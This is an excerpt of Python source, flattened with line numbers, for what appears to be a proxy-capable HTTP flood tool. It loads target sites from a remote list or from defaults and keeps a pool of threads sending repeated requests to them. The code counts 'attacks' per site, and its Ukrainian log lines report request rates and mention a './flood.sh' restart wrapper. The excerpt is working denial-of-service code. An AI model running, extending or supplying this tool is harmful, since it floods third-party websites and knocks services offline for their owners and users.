settings.MAX_REQUESTS_TO_SITE: 118 | response = scraper.get(site, headers=headers_http, timeout=settings.READ_TIMEOUT) 119 | non_proxied_status_code = response.status_code 120 | # logger.info(f"{site} -> {non_proxied_status_code}") 121 | if non_proxied_status_code >= 400: 122 | break 123 | count_attacks_for_current_site += 1 124 | increment_global_counters(site) 125 | except Exception as ex: 126 | pass 127 | # logger.error(ex) 128 | 129 | 130 | def increment_global_counters(site): 131 | counter.increment() 132 | with lock: 133 | if site not in targets_per_min: 134 | targets_per_min[site] = 1 135 | else: 136 | targets_per_min[site] += 1 137 | 138 | def monitor_thread(): 139 | while True: 140 | sleep(60) 141 | current_count = counter.value() 142 | global last_count 143 | delta = current_count - last_count 144 | logger.info(f"Швидкість: <<< {str(delta)} >>> вдалих запитів за хвилину. Детально ('сайт': запити) -> {str(targets_per_min)}") 145 | last_count = current_count 146 | with lock: 147 | targets_per_min.clear() 148 | 149 | def proxied_monitor(): 150 | while True: 151 | sleep(300) 152 | current_proxied_count = proxied_counter.value() 153 | global last_proxied_count 154 | proxied_delta = current_proxied_count - last_proxied_count 155 | last_proxied_count = current_proxied_count 156 | logger.info(f"Зроблено {str(proxied_delta)} запитів через проксі за 5 хвилин") 157 | logger.info("Нагадування: подивитись статус цілей можно за посиланням: https://ignitedevua.github.io/a/") 158 | 159 | def runningTasksCount(): 160 | r = 0 161 | for task in submitted_tasks: 162 | if task.running(): 163 | r += 1 164 | if task.done(): 165 | submitted_tasks.remove(task) 166 | if task.cancelled(): 167 | submitted_tasks.remove(task) 168 | return r 169 | 170 | def get_target_sites_with_fallback(): 171 | sites = remoteProvider.get_target_sites() 172 | if not sites: 173 | logging.warning("Target sites cannot be loaded, using default targets for now") 174 | return settings.DEFAULT_TARGETS 175 | return sites 176 | 177 | if __name__ == '__main__': 178 | check_req() 179 | Thread(target=monitor_thread, daemon=True).start() 180 | Thread(target=proxied_monitor, daemon=True).start() 181 | sites = get_target_sites_with_fallback() 182 | # initially start as many tasks as configured threads 183 | logger.info(f"Перша статистика з'явиться тут за хвилину. Подивитись статус цілей можно за посиланням: https://ignitedevua.github.io/a/") 184 | logger.info(f"Пам'ятка: при запуску через ./flood.sh run програма буде автоматично перезавантажуватися кожні 15 хвилин; при перезавантаженні попередні логи стираються -> треба буде знову запускати ./flood.sh log") 185 | for _ in range(threads): 186 | submitted_tasks.append(executor.submit(mainth, choice(get_target_sites_with_fallback()))) 187 | 188 | while True: 189 | currentRunningCount = runningTasksCount() 190 | while currentRunningCount < threads: 191 | submitted_tasks.append(executor.submit(mainth, choice(get_target_sites_with_fallback()))) 192 | currentRunningCount += 1 193 | sleep(1) 194 | 195 | --------------------------------------------------------------------------------